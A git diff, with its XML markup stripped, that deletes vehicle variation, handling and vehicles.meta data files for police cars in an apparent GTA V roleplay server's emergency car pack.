-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- 0
- 0
- 2
- 0
- 0
- 0
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- - 0_default_modkit
-
-
-
-
- -
- Police guv plate
-
-
-
-
-
-
-
- -
- code3silverado
-
-
-
-
- 0
- 0
- 11
- 156
- 0
- 0
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- 2
- 0
- 134
- 156
- 0
- 0
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- 75
- 0
- 157
- 156
- 0
- 0
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- 7
- 0
- 134
- 0
- 0
- 0
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- 34
- 0
- 45
- 0
- 0
- 0
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- 0
- 0
- 2
- 0
- 0
- 0
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- - 0_default_modkit
-
-
-
-
- -
- Police guv plate
-
-
-
-
-
-
-
- -
- code3bmw
-
-
-
-
- 0
- 0
- 11
- 156
- 0
- 0
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- 2
- 0
- 134
- 156
- 0
- 0
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- 75
- 0
- 157
- 156
- 0
- 0
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- 7
- 0
- 134
- 0
- 0
- 0
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- 34
- 0
- 45
- 0
- 0
- 0
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- 0
- 0
- 2
- 0
- 0
- 0
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- - 0_default_modkit
-
-
-
-
- -
- Police guv plate
-
-
-
-
-
-
-
- -
- code3harley
-
-
-
-
- 0
- 0
- 11
- 156
- 0
- 0
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- 2
- 0
- 134
- 156
- 0
- 0
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- 75
- 0
- 157
- 156
- 0
- 0
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- 7
- 0
- 134
- 0
- 0
- 0
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- 34
- 0
- 45
- 0
- 0
- 0
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- 0
- 0
- 2
- 0
- 0
- 0
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- - 0_default_modkit
-
-
-
-
- -
- Police guv plate
-
-
-
-
-
-
-
- -
- code3durango
-
-
-
-
- 0
- 0
- 11
- 156
- 0
- 0
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- 2
- 0
- 134
- 156
- 0
- 0
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- 75
- 0
- 157
- 156
- 0
- 0
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- 7
- 0
- 134
- 0
- 0
- 0
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- 34
- 0
- 45
- 0
- 0
- 0
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- 0
- 0
- 2
- 0
- 0
- 0
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- - 0_default_modkit
-
-
-
-
- -
- Police guv plate
-
-
-
-
-
-
-
- -
- code316fpiu
-
-
-
-
- 0
- 0
- 11
- 156
- 0
- 0
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- 2
- 0
- 134
- 156
- 0
- 0
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- 75
- 0
- 157
- 156
- 0
- 0
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- 7
- 0
- 134
- 0
- 0
- 0
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- 34
- 0
- 45
- 0
- 0
- 0
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- 0
- 0
- 2
- 0
- 0
- 0
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- - 0_default_modkit
-
-
-
-
- -
- Police guv plate
-
-
-
-
-
-
-
- -
- code3f250
-
-
-
-
- 0
- 0
- 11
- 156
- 0
- 0
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- 2
- 0
- 134
- 156
- 0
- 0
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- 75
- 0
- 157
- 156
- 0
- 0
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- 7
- 0
- 134
- 0
- 0
- 0
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- 34
- 0
- 45
- 0
- 0
- 0
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- 0
- 0
- 2
- 0
- 0
- 0
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- - 0_default_modkit
-
-
-
-
- -
- Police guv plate
-
-
-
-
-
-
-
- -
- code319silv
-
-
-
-
- 0
- 0
- 11
- 156
- 0
- 0
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- 2
- 0
- 134
- 156
- 0
- 0
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- 75
- 0
- 157
- 156
- 0
- 0
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- 7
- 0
- 134
- 0
- 0
- 0
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- 34
- 0
- 45
- 0
- 0
- 0
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- 0
- 0
- 2
- 0
- 0
- 0
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- - 0_default_modkit
-
-
-
-
- -
- Police guv plate
-
-
-
-
-
-
-
-
-
\ No newline at end of file
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/handling.meta b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/handling.meta
deleted file mode 100644
index 6ea6be07b..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/handling.meta
+++ /dev/null
@@ -1,1209 +0,0 @@
-
-
-
- -
- codevic
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 440010
- 0
- 0
- AVERAGE
-
-
-
-
-
-
-
-
-
-
- -
- codecap
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 440010
- 0
- 0
- AVERAGE
-
-
-
-
-
-
-
-
-
-
- -
- coderam
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 440010
- 0
- 0
- AVERAGE
-
-
-
-
-
-
-
-
-
-
- -
- codef150
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 440010
- 0
- 0
- AVERAGE
-
-
-
-
-
-
-
-
-
-
- -
- codef250
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 440010
- 0
- 0
- AVERAGE
-
-
-
-
-
-
-
-
-
-
- -
- codefpis
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 440010
- 0
- 0
- AVERAGE
-
-
-
-
-
-
-
-
-
-
- -
- codefpiu
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 440010
- 0
- 0
- AVERAGE
-
-
-
-
-
-
-
-
-
-
- -
- codetah14
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 440010
- 0
- 0
- AVERAGE
-
-
-
-
-
-
-
-
-
-
- -
- codeimp
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 440010
- 0
- 0
- SPORTS_CAR
-
-
-
-
-
-
-
-
-
-
-
--
- codechar10
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 440010
- 1
- 0
- AVERAGE
-
-
-
-
-
-
-
-
-
-
-
--
- codegat
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 040010
- 1000000
- 0
- AVERAGE
-
-
-
-
-
-
--
- codecamaro
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 440010
- 0
- 0
- AVERAGE
-
-
-
-
-
-
-
-
-
-
-
--
- codestang
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 440010
- 0
- 0
- AVERAGE
-
-
-
-
-
-
-
-
-
-
-
--
- codesilv
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 440010
- 0
- 0
- AVERAGE
-
-
-
-
-
-
-
-
-
-
-
--
- codedur
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 440010
- 0
- 0
- AVERAGE
-
-
-
-
-
-
-
-
-
-
-
--
- code19silv
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 440010
- 0
- 0
- AVERAGE
-
-
-
-
-
-
-
-
-
-
-
--
- codeexp16
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 440010
- 0
- 0
- AVERAGE
-
-
-
-
-
-
-
-
-
-
- -
- codetah
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 440010
- 0
- 0
- AVERAGE
-
-
-
-
-
-
-
-
-
-
- -
- codechar
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 440010
- 0
- 0
- AVERAGE
-
-
-
-
-
-
-
-
-
-
- -
- codecharg
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 440010
- 0
- 0
- AVERAGE
-
-
-
-
-
-
-
-
-
-
-
-
\ No newline at end of file
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/vehicles.meta b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/vehicles.meta
deleted file mode 100644
index 8484f28b1..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/vehicles.meta
+++ /dev/null
@@ -1,3995 +0,0 @@
-
-
- vehshare
-
-
- -
- code318charg
- code318charg
- codechar
- code318charg
-
- null
- null
- null
- null
-
- null
- demonv8
- LAYOUT_STANDARD
- SHERIFF_COVER_OFFSET_INFO
- EXPLOSION_INFO_DEFAULT
-
- DEFAULT_FOLLOW_VEHICLE_CAMERA
- DEFAULT_THIRD_PERSON_VEHICLE_AIM_CAMERA
- VEHICLE_BONNET_CAMERA_MID_HIGH
- DEFAULT_POV_CAMERA
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
- VFXVEHICLEINFO_CAR_GENERIC
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 100.000000
- 200.000000
- 300.000000
- 400.000000
- 500.000000
- 500.000000
-
-
-
-
-
-
-
-
-
-
- SWANKNESS_1
-
- FLAG_HAS_LIVERY FLAG_EXTRAS_REQUIRE FLAG_EXTRAS_STRONG FLAG_LAW_ENFORCEMENT FLAG_EMERGENCY_SERVICE FLAG_NO_RESPRAY FLAG_DONT_SPAWN_IN_CARGEN FLAG_REPORT_CRIME_IF_STANDING_ON FLAG_HAS_INTERIOR_EXTRAS
- VEHICLE_TYPE_CAR
- VPT_FRONT_AND_BACK_PLATES
- VDT_GENTAXI
- VC_EMERGENCY
- VWT_MUSCLE
-
-
-
- -
- S_M_Y_Sheriff_01
-
-
-
-
-
-
-
-
-
-
- - REWARD_WEAPON_PUMPSHOTGUN
- - REWARD_AMMO_PUMPSHOTGUN_ENTER_VEHICLE
- - REWARD_STAT_WEAPON
-
-
- - WHEEL_FRONT_RIGHT_CAMERA
- - WHEEL_FRONT_LEFT_CAMERA
- - WHEEL_REAR_RIGHT_CAMERA
- - WHEEL_REAR_LEFT_CAMERA
-
-
-
-
-
-
- - STD_POLICE_FRONT_LEFT
- - STD_POLICE_FRONT_RIGHT
- - STD_POLICE_REAR_LEFT
- - STD_POLICE_REAR_RIGHT
-
-
- -
- code3fpis
- code3fpis
- codefpis
- code3fpis
-
- null
- null
- null
- null
-
- null
- ecoboostv6
- LAYOUT_STANDARD
- SHERIFF_COVER_OFFSET_INFO
- EXPLOSION_INFO_DEFAULT
-
- DEFAULT_FOLLOW_VEHICLE_CAMERA
- DEFAULT_THIRD_PERSON_VEHICLE_AIM_CAMERA
- VEHICLE_BONNET_CAMERA_MID_HIGH
- DEFAULT_POV_CAMERA
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
- VFXVEHICLEINFO_CAR_GENERIC
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 100.000000
- 200.000000
- 300.000000
- 400.000000
- 500.000000
- 500.000000
-
-
-
-
-
-
-
-
-
-
- SWANKNESS_1
-
- FLAG_HAS_LIVERY FLAG_EXTRAS_REQUIRE FLAG_EXTRAS_STRONG FLAG_LAW_ENFORCEMENT FLAG_EMERGENCY_SERVICE FLAG_NO_RESPRAY FLAG_DONT_SPAWN_IN_CARGEN FLAG_REPORT_CRIME_IF_STANDING_ON FLAG_HAS_INTERIOR_EXTRAS
- VEHICLE_TYPE_CAR
- VPT_FRONT_AND_BACK_PLATES
- VDT_GENTAXI
- VC_EMERGENCY
- VWT_MUSCLE
-
-
-
- -
- S_M_Y_Sheriff_01
-
-
-
-
-
-
-
-
-
-
- - REWARD_WEAPON_PUMPSHOTGUN
- - REWARD_AMMO_PUMPSHOTGUN_ENTER_VEHICLE
- - REWARD_STAT_WEAPON
-
-
- - WHEEL_FRONT_RIGHT_CAMERA
- - WHEEL_FRONT_LEFT_CAMERA
- - WHEEL_REAR_RIGHT_CAMERA
- - WHEEL_REAR_LEFT_CAMERA
-
-
-
-
-
-
- - STD_POLICE_FRONT_LEFT
- - STD_POLICE_FRONT_RIGHT
- - STD_POLICE_REAR_LEFT
- - STD_POLICE_REAR_RIGHT
-
-
- -
- code314charg
- code314charg
- codecharg
- code314charg
-
- null
- null
- null
- null
-
- null
- demonv8
- LAYOUT_STANDARD
- SHERIFF_COVER_OFFSET_INFO
- EXPLOSION_INFO_DEFAULT
-
- DEFAULT_FOLLOW_VEHICLE_CAMERA
- DEFAULT_THIRD_PERSON_VEHICLE_AIM_CAMERA
- VEHICLE_BONNET_CAMERA_MID_HIGH
- DEFAULT_POV_CAMERA
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
- VFXVEHICLEINFO_CAR_GENERIC
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 100.000000
- 200.000000
- 300.000000
- 400.000000
- 500.000000
- 500.000000
-
-
-
-
-
-
-
-
-
-
- SWANKNESS_1
-
- FLAG_HAS_LIVERY FLAG_EXTRAS_REQUIRE FLAG_EXTRAS_STRONG FLAG_LAW_ENFORCEMENT FLAG_EMERGENCY_SERVICE FLAG_NO_RESPRAY FLAG_DONT_SPAWN_IN_CARGEN FLAG_REPORT_CRIME_IF_STANDING_ON FLAG_HAS_INTERIOR_EXTRAS
- VEHICLE_TYPE_CAR
- VPT_FRONT_AND_BACK_PLATES
- VDT_GENTAXI
- VC_EMERGENCY
- VWT_MUSCLE
-
-
-
- -
- S_M_Y_Sheriff_01
-
-
-
-
-
-
-
-
-
-
- - REWARD_WEAPON_PUMPSHOTGUN
- - REWARD_AMMO_PUMPSHOTGUN_ENTER_VEHICLE
- - REWARD_STAT_WEAPON
-
-
- - WHEEL_FRONT_RIGHT_CAMERA
- - WHEEL_FRONT_LEFT_CAMERA
- - WHEEL_REAR_RIGHT_CAMERA
- - WHEEL_REAR_LEFT_CAMERA
-
-
-
-
-
-
- - STD_POLICE_FRONT_LEFT
- - STD_POLICE_FRONT_RIGHT
- - STD_POLICE_REAR_LEFT
- - STD_POLICE_REAR_RIGHT
-
-
- -
- code3cvpi
- code3cvpi
- codevic
- code3cvpi
-
- null
- null
- null
- null
-
- null
- cvpiv8
- LAYOUT_STANDARD
- SHERIFF_COVER_OFFSET_INFO
- EXPLOSION_INFO_DEFAULT
-
- DEFAULT_FOLLOW_VEHICLE_CAMERA
- DEFAULT_THIRD_PERSON_VEHICLE_AIM_CAMERA
- VEHICLE_BONNET_CAMERA_MID_HIGH
- DEFAULT_POV_CAMERA
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
- VFXVEHICLEINFO_CAR_GENERIC
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 100.000000
- 200.000000
- 300.000000
- 400.000000
- 500.000000
- 500.000000
-
-
-
-
-
-
-
-
-
-
- SWANKNESS_1
-
- FLAG_HAS_LIVERY FLAG_EXTRAS_REQUIRE FLAG_EXTRAS_STRONG FLAG_LAW_ENFORCEMENT FLAG_EMERGENCY_SERVICE FLAG_NO_RESPRAY FLAG_DONT_SPAWN_IN_CARGEN FLAG_REPORT_CRIME_IF_STANDING_ON FLAG_HAS_INTERIOR_EXTRAS
- VEHICLE_TYPE_CAR
- VPT_FRONT_AND_BACK_PLATES
- VDT_GENTAXI
- VC_EMERGENCY
- VWT_MUSCLE
-
-
-
- -
- S_M_Y_Sheriff_01
-
-
-
-
-
-
-
-
-
-
- - REWARD_WEAPON_PUMPSHOTGUN
- - REWARD_AMMO_PUMPSHOTGUN_ENTER_VEHICLE
- - REWARD_STAT_WEAPON
-
-
- - WHEEL_FRONT_RIGHT_CAMERA
- - WHEEL_FRONT_LEFT_CAMERA
- - WHEEL_REAR_RIGHT_CAMERA
- - WHEEL_REAR_LEFT_CAMERA
-
-
-
-
-
-
- - STD_POLICE_FRONT_LEFT
- - STD_POLICE_FRONT_RIGHT
- - STD_POLICE_REAR_LEFT
- - STD_POLICE_REAR_RIGHT
-
-
- -
- libertyfpis
- libertyfpis
- codefpis
- libertyfpis
-
- null
- null
- null
- null
-
- null
- ecoboostv6
- LAYOUT_STANDARD
- SHERIFF_COVER_OFFSET_INFO
- EXPLOSION_INFO_DEFAULT
-
- DEFAULT_FOLLOW_VEHICLE_CAMERA
- DEFAULT_THIRD_PERSON_VEHICLE_AIM_CAMERA
- VEHICLE_BONNET_CAMERA_MID_HIGH
- DEFAULT_POV_CAMERA
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
- VFXVEHICLEINFO_CAR_GENERIC
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 100.000000
- 200.000000
- 300.000000
- 400.000000
- 500.000000
- 500.000000
-
-
-
-
-
-
-
-
-
-
- SWANKNESS_1
-
- FLAG_HAS_LIVERY FLAG_EXTRAS_REQUIRE FLAG_EXTRAS_STRONG FLAG_LAW_ENFORCEMENT FLAG_EMERGENCY_SERVICE FLAG_NO_RESPRAY FLAG_DONT_SPAWN_IN_CARGEN FLAG_REPORT_CRIME_IF_STANDING_ON FLAG_HAS_INTERIOR_EXTRAS
- VEHICLE_TYPE_CAR
- VPT_FRONT_AND_BACK_PLATES
- VDT_GENTAXI
- VC_EMERGENCY
- VWT_MUSCLE
-
-
-
- -
- S_M_Y_Sheriff_01
-
-
-
-
-
-
-
-
-
-
- - REWARD_WEAPON_PUMPSHOTGUN
- - REWARD_AMMO_PUMPSHOTGUN_ENTER_VEHICLE
- - REWARD_STAT_WEAPON
-
-
- - WHEEL_FRONT_RIGHT_CAMERA
- - WHEEL_FRONT_LEFT_CAMERA
- - WHEEL_REAR_RIGHT_CAMERA
- - WHEEL_REAR_LEFT_CAMERA
-
-
-
-
-
-
- - STD_POLICE_FRONT_LEFT
- - STD_POLICE_FRONT_RIGHT
- - STD_POLICE_REAR_LEFT
- - STD_POLICE_REAR_RIGHT
-
-
- -
- code3cap
- code3cap
- codecap
- code3cap
-
- null
- null
- null
- null
-
- null
- WINDSOR
- LAYOUT_STANDARD
- SHERIFF_COVER_OFFSET_INFO
- EXPLOSION_INFO_DEFAULT
-
- DEFAULT_FOLLOW_VEHICLE_CAMERA
- DEFAULT_THIRD_PERSON_VEHICLE_AIM_CAMERA
- VEHICLE_BONNET_CAMERA_MID_HIGH
- DEFAULT_POV_CAMERA
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
- VFXVEHICLEINFO_CAR_GENERIC
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 100.000000
- 200.000000
- 300.000000
- 400.000000
- 500.000000
- 500.000000
-
-
-
-
-
-
-
-
-
-
- SWANKNESS_1
-
- FLAG_HAS_LIVERY FLAG_EXTRAS_REQUIRE FLAG_EXTRAS_STRONG FLAG_LAW_ENFORCEMENT FLAG_EMERGENCY_SERVICE FLAG_NO_RESPRAY FLAG_DONT_SPAWN_IN_CARGEN FLAG_REPORT_CRIME_IF_STANDING_ON FLAG_HAS_INTERIOR_EXTRAS
- VEHICLE_TYPE_CAR
- VPT_FRONT_AND_BACK_PLATES
- VDT_GENTAXI
- VC_EMERGENCY
- VWT_MUSCLE
-
-
-
- -
- S_M_Y_Sheriff_01
-
-
-
-
-
-
-
-
-
-
- - REWARD_WEAPON_PUMPSHOTGUN
- - REWARD_AMMO_PUMPSHOTGUN_ENTER_VEHICLE
- - REWARD_STAT_WEAPON
-
-
- - WHEEL_FRONT_RIGHT_CAMERA
- - WHEEL_FRONT_LEFT_CAMERA
- - WHEEL_REAR_RIGHT_CAMERA
- - WHEEL_REAR_LEFT_CAMERA
-
-
-
-
-
-
- - STD_POLICE_FRONT_LEFT
- - STD_POLICE_FRONT_RIGHT
- - STD_POLICE_REAR_LEFT
- - STD_POLICE_REAR_RIGHT
-
-
- -
- code318tahoe
- code318tahoe
- codetah
- code318tahoe
-
- null
- null
- null
- null
-
- null
- BALLER2
- LAYOUT_BISON
- SHERIFF_COVER_OFFSET_INFO
- EXPLOSION_INFO_DEFAULT
-
- DEFAULT_FOLLOW_VEHICLE_CAMERA
- DEFAULT_THIRD_PERSON_VEHICLE_AIM_CAMERA
- VEHICLE_BONNET_CAMERA_MID_HIGH
- DEFAULT_POV_CAMERA
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
- VFXVEHICLEINFO_CAR_GENERIC
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 100.000000
- 200.000000
- 300.000000
- 400.000000
- 500.000000
- 500.000000
-
-
-
-
-
-
-
-
-
-
- SWANKNESS_1
-
- FLAG_HAS_LIVERY FLAG_EXTRAS_REQUIRE FLAG_EXTRAS_STRONG FLAG_LAW_ENFORCEMENT FLAG_EMERGENCY_SERVICE FLAG_NO_RESPRAY FLAG_DONT_SPAWN_IN_CARGEN FLAG_REPORT_CRIME_IF_STANDING_ON FLAG_HAS_INTERIOR_EXTRAS
- VEHICLE_TYPE_CAR
- VPT_FRONT_AND_BACK_PLATES
- VDT_GENTAXI
- VC_EMERGENCY
- VWT_MUSCLE
-
- - boattrailer
- - code3trailer
- - code3trailer2
- - trailersmall
-
-
-
- -
- S_M_Y_Sheriff_01
-
-
-
-
-
-
-
-
-
-
- - REWARD_WEAPON_PUMPSHOTGUN
- - REWARD_AMMO_PUMPSHOTGUN_ENTER_VEHICLE
- - REWARD_STAT_WEAPON
-
-
- - WHEEL_FRONT_RIGHT_CAMERA
- - WHEEL_FRONT_LEFT_CAMERA
- - WHEEL_REAR_RIGHT_CAMERA
- - WHEEL_REAR_LEFT_CAMERA
-
-
-
-
-
-
- - STD_POLICE_FRONT_LEFT
- - STD_POLICE_FRONT_RIGHT
- - STD_POLICE_REAR_LEFT
- - STD_POLICE_REAR_RIGHT
-
-
- -
- code318tahoek9
- code318tahoek9
- codetah
- code318tahoek9
-
- null
- null
- null
- null
-
- null
- BALLER2
- LAYOUT_BISON
- SHERIFF_COVER_OFFSET_INFO
- EXPLOSION_INFO_DEFAULT
-
- DEFAULT_FOLLOW_VEHICLE_CAMERA
